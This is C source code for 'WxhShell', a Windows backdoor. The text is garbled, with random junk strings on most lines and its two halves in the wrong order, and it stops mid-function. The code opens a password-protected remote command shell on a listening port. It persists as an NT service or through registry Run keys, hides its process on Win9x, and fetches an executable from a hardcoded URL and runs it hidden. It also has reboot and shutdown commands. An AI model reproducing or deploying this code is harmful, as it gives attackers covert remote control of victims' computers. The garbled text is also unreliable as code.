PROCNTQSIP NtQueryInformationProcess; Xhyn! &H5
/V cbT >=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t>a D;|Y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )n<p_vz
]Ar,HaX-
HANDLE hProcess; UlNiH
PROCESS_BASIC_INFORMATION pbi; NB44GP1-@
sZ7,7E|_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `<P:ly.
if(NULL == hInst ) return 0; 4o";p}[b
F+NX
[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;"#y HP`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KSS]% 66Y
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cL%"AVsj
>
"1XTgCu\
if (!NtQueryInformationProcess) return 0; 2yFT` 5+H4
9Nna-}e?W
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ShlTMTgS
if(!hProcess) return 0; 2wPc
yD
jAcKSx$}y"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
T*8S7l
(~bx %
CloseHandle(hProcess); /ece}7M
F&+qd`8J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WI*CuJU<zJ
if(hProcess==NULL) return 0; }CZw'fhVWO
0WKS
HMODULE hMod; G; W2Z,
char procName[255]; 79}jK"Gc
unsigned long cbNeeded; 9LBZMQ
? EHheZ{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f52P1V]
_Yp~Oj
CloseHandle(hProcess); |v :
)9
34"PtWbV>
if(strstr(procName,"services")) return 1; // 以服务启动 mvTp,^1
XR[=W(m}
return 0; // 注册表启动 QY<5o;m`
} 6rD]6#D
P zM yUv
// 主模块 u8%X~K\
int StartWxhshell(LPSTR lpCmdLine) `$6~QLUf
{ );q~TZ[Do
SOCKET wsl; Px*<-t|R-
BOOL val=TRUE; P7Qel ,
int port=0; v2:i'j6
struct sockaddr_in door; q{B?j%.o
[.Kp/,JY
if(wscfg.ws_autoins) Install(); &dK!+
FINHO058^Y
port=atoi(lpCmdLine); f.66N9BHL,
nP*% N|0
if(port<=0) port=wscfg.ws_port; s0D4K
B@6L<oZ
WSADATA data; v*dw'i
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7:b.c
<m1v+cnqo
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; idX''%"
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )
< U9
door.sin_family = AF_INET; 3b]M\F9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z(Y:
door.sin_port = htons(port); 3/Z>W|w#w
k1zK3I&c_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5dE=M};v
closesocket(wsl); 8=joVbs
return 1; udLI AV*
} 6j6;lNUc
fxr#T'i
if(listen(wsl,2) == INVALID_SOCKET) { {N/%%O.b
closesocket(wsl); sO6=w%l^
return 1; yrfV&C%=n
} r@Jy*2[-Jq
Wxhshell(wsl); Yb/*2iWX
WSACleanup(); 9`Fw}yAt
s<k2vbhI
return 0; vPz7*w
x(eX.>o\
} ^IIy>
v}V[sIs}
// 以NT服务方式启动 nM b@
B
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l$EN7^%w
{ "opMS/a"7
DWORD status = 0; dpNERc5
DWORD specificError = 0xfffffff; "2sk1
N8#j|yf
serviceStatus.dwServiceType = SERVICE_WIN32; 51#OlvD
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +)e|>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y;8&J{dd
serviceStatus.dwWin32ExitCode = 0; N1Ag.
serviceStatus.dwServiceSpecificExitCode = 0; 6b'.WB]-
serviceStatus.dwCheckPoint = 0; >,]8iMh
serviceStatus.dwWaitHint = 0; *tEqu%N1'
H;=Fq+
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X|eZpIA45
if (hServiceStatusHandle==0) return; )S2yU<6oOt
?&~q^t?u
status = GetLastError(); flFdoEV.U)
if (status!=NO_ERROR) d,JDfG)
{ %>i:C-l8
serviceStatus.dwCurrentState = SERVICE_STOPPED; *pS 7,Hm
serviceStatus.dwCheckPoint = 0; F!0iM)1o
serviceStatus.dwWaitHint = 0; ` K{k0_{
serviceStatus.dwWin32ExitCode = status; ';/J-l/SE
serviceStatus.dwServiceSpecificExitCode = specificError; 0Q_*Z (
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LjG^c>[:m
return; 'D
?o^
} oR=i5lAU
|.UY'B
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q^rR }Ws
serviceStatus.dwCheckPoint = 0; Hy[: _E
serviceStatus.dwWaitHint = 0; M%!;5
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D5?8`U
m=
} n%J=!z3
0x!&>
// 处理NT服务事件,比如:启动、停止 @&O4a2+
VOID WINAPI NTServiceHandler(DWORD fdwControl) HRDpFMA/~
{ p.=9[`
switch(fdwControl) wLXJ?iy3
{ }A24;'}
case SERVICE_CONTROL_STOP: M]/aW
serviceStatus.dwWin32ExitCode = 0; X4!7/&
serviceStatus.dwCurrentState = SERVICE_STOPPED; Rxd4{L
)n
serviceStatus.dwCheckPoint = 0; )&7.E
serviceStatus.dwWaitHint = 0; qVE0[ve
{ ~RuX2u-2&u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c!4F0(n4
} AT~,
return; E3wL n/<
case SERVICE_CONTROL_PAUSE: M }d:B)cz
serviceStatus.dwCurrentState = SERVICE_PAUSED; Q]xkDr?
break; \BXzmok
case SERVICE_CONTROL_CONTINUE: +C{-s
serviceStatus.dwCurrentState = SERVICE_RUNNING; eNAxVF0
break; ?s^3o{!<W
case SERVICE_CONTROL_INTERROGATE: TD}<U8I8_
break; r8Pd}ptPU
}; !EB<N<P"t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hb5K"9Y
} !`Rh2g*o9
/;Tc]
// 标准应用程序主函数 ([u|j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s.}K?)mH
{ \7/yWd{N$
x 6`!
// 获取操作系统版本 'cXdc
OsIsNt=GetOsVer(); UUJQc~=
GetModuleFileName(NULL,ExeFile,MAX_PATH); ilL0=[2
`NsjtT'_
// 从命令行安装 sV
if(strpbrk(lpCmdLine,"iI")) Install(); .9qK88fU R
lZ\8W^
// 下载执行文件 uPA
(1
if(wscfg.ws_downexe) { 7mi!yTr}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'kZ,:.v
WinExec(wscfg.ws_filenam,SW_HIDE); xLz=)k[''
} -[V-f> :
^[tE^(|T
if(!OsIsNt) { p?:5U[KM
// 如果时win9x,隐藏进程并且设置为注册表启动 5:h[%3'bB
HideProc(); cqNK`3:.j
StartWxhshell(lpCmdLine); =#b@7Yw:
} -Ks>s
else w6%
Q"%rp
if(StartFromService()) m.e]tTe
// 以服务方式启动 f
V. c6
StartServiceCtrlDispatcher(DispatchTable); !.]JiT'o
else 7z{wYCw
// 普通方式启动 -1g:3'%
P
StartWxhshell(lpCmdLine); 8-#%l~dr
+J X;T(T
return 0; g\JJkXjD#
} V0\[|E;F
HgF;[rq3Q
>M,oyM"s
$RaN@& Wm
=========================================== *glZb;_
+T+@g8S
\2i7\U
86r5!@WN
p~qe/
Z'JS@dV
" B[t^u\Fk
S\e&xUA;|
#include <stdio.h> xAQtX=FoX+
#include <string.h> C9n%!()>
#include <windows.h> @c3xUK
#include <winsock2.h> &_ekA44E
#include <winsvc.h> |^pev2g
#include <urlmon.h> 9 E!le=>
Sjpx G@k
#pragma comment (lib, "Ws2_32.lib") kXMp()N8`
#pragma comment (lib, "urlmon.lib") G'ykcB._
}rTH<!j
#define MAX_USER 100 // 最大客户端连接数 du3f'=q6|
#define BUF_SOCK 200 // sock buffer _IYaMo.n
#define KEY_BUFF 255 // 输入 buffer %BqaVOKJ"f
k9^Hmhjw
#define REBOOT 0 // 重启 0s#72}n
#define SHUTDOWN 1 // 关机 ^OR0Vp>L
N@q}eGe
#define DEF_PORT 5000 // 监听端口 }SN( ^3N
sHP-@
#define REG_LEN 16 // 注册表键长度 eU?hin@X
#define SVC_LEN 80 // NT服务名长度 RLB3 -=9t
*T|B'80
// 从dll定义API gE-y`2SU
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #WpkL]g2+%
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {meX2Z4
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nM
)C^$3<t
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O !L`0
=%c
VM"cpC_8
// wxhshell配置信息 *Z5^WHwg
struct WSCFG { 'X`Z1L/
int ws_port; // 监听端口 yPm2??5MW>
char ws_passstr[REG_LEN]; // 口令 /Rp]"S
vt
int ws_autoins; // 安装标记, 1=yes 0=no [I $+wWW_
char ws_regname[REG_LEN]; // 注册表键名 C|(A/b
char ws_svcname[REG_LEN]; // 服务名 ^.SYAwL
char ws_svcdisp[SVC_LEN]; // 服务显示名 C_.9qo]DT7
char ws_svcdesc[SVC_LEN]; // 服务描述信息 \oQ]=dDCd%
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DDg\oGLp
int ws_downexe; // 下载执行标记, 1=yes 0=no *sho/[~_
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^URCnJ67Se
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]T4/dk&|o^
<AHpk5Sn{
}; (B7G'h.?
f^WTsh]
// default Wxhshell configuration :$ 5A3i
struct WSCFG wscfg={DEF_PORT, '=\}dav!
"xuhuanlingzhe", iHK~?qd}
1, ^[L(kHOGzk
"Wxhshell", !liV Y]
"Wxhshell", h6
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"WxhShell Service", <#63tN9
"Wrsky Windows CmdShell Service", z3fv}_\z
"Please Input Your Password: ", bf3!|Um
1, L"L3n,%F
"http://www.wrsky.com/wxhshell.exe", &J[a.:..
"Wxhshell.exe" 8s%/5v"
}; ^S9y7b^;r
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// 消息定义模块 4JSPD#%f
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mYBEjZB
char *msg_ws_prompt="\n\r? for help\n\r#>"; /'O8RUjN
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^
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char *msg_ws_ext="\n\rExit."; 97}]@xN=
char *msg_ws_end="\n\rQuit."; ) "#'
char *msg_ws_boot="\n\rReboot..."; h$>F}n
j
char *msg_ws_poff="\n\rShutdown..."; !,J#
r
char *msg_ws_down="\n\rSave to "; 73WSW/^F
o9?@jjqH
char *msg_ws_err="\n\rErr!"; +>w]T\[1~
char *msg_ws_ok="\n\rOK!"; ]6&NIz`:,
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char ExeFile[MAX_PATH]; 5/48w-fnZ
int nUser = 0; /Y Kd [RQ
HANDLE handles[MAX_USER]; d1/emwH
int OsIsNt; D)_
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SERVICE_STATUS serviceStatus; #c!:&9oU
SERVICE_STATUS_HANDLE hServiceStatusHandle; Nz{dnV{&x;
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// 函数声明 ;?6vKpj;
int Install(void); WKf<%
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int Uninstall(void); k#*-<1
int DownloadFile(char *sURL, SOCKET wsh); xVvUx,t
int Boot(int flag); 0oe<=L]F
void HideProc(void); .{Y;6]9[
int GetOsVer(void); ]wQ!ZG?)
int Wxhshell(SOCKET wsl); v1h(_NLI!
void TalkWithClient(void *cs); sE9FT#iE
int CmdShell(SOCKET sock); 8WP>u8&
int StartFromService(void); $o6/dEKQ
int StartWxhshell(LPSTR lpCmdLine); Ur j*V0^
C3AWXO ^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2`yhxO
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x"W~m.y$h
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// 数据结构和表定义 H/8^Fvd
SERVICE_TABLE_ENTRY DispatchTable[] = ]5W$EvZ9)
{ lwnO
{wscfg.ws_svcname, NTServiceMain}, }ze+ tf
{NULL, NULL} XLpP*VH3
}; !Jg;%%E3:i
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// 自我安装 ]{-.?W*$
int Install(void) aCQtE,.
{ NgNGq\!
char svExeFile[MAX_PATH]; Hg+<GML
HKEY key; P{L=u74b{x
strcpy(svExeFile,ExeFile); }v(wjD
6*8Wtq
// 如果是win9x系统,修改注册表设为自启动 vr!J3H f
if(!OsIsNt) { 91
jRIB
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
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RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9#LMK 1ge
RegCloseKey(key); ,OZ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h\RX/C!+
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D6SUzI1+H
RegCloseKey(key); |1tKQ0jg
return 0; @xG&K{j
} Z\$HgG
} *%-<Ldv
} .soCU8i3
else { }A9#3Y|F
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// 如果是NT以上系统,安装为系统服务 ,"qCz[aDN1
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "EW8ll7r
if (schSCManager!=0) *k$[/{S1-
{ mrGV{ {.
SC_HANDLE schService = CreateService OY*y<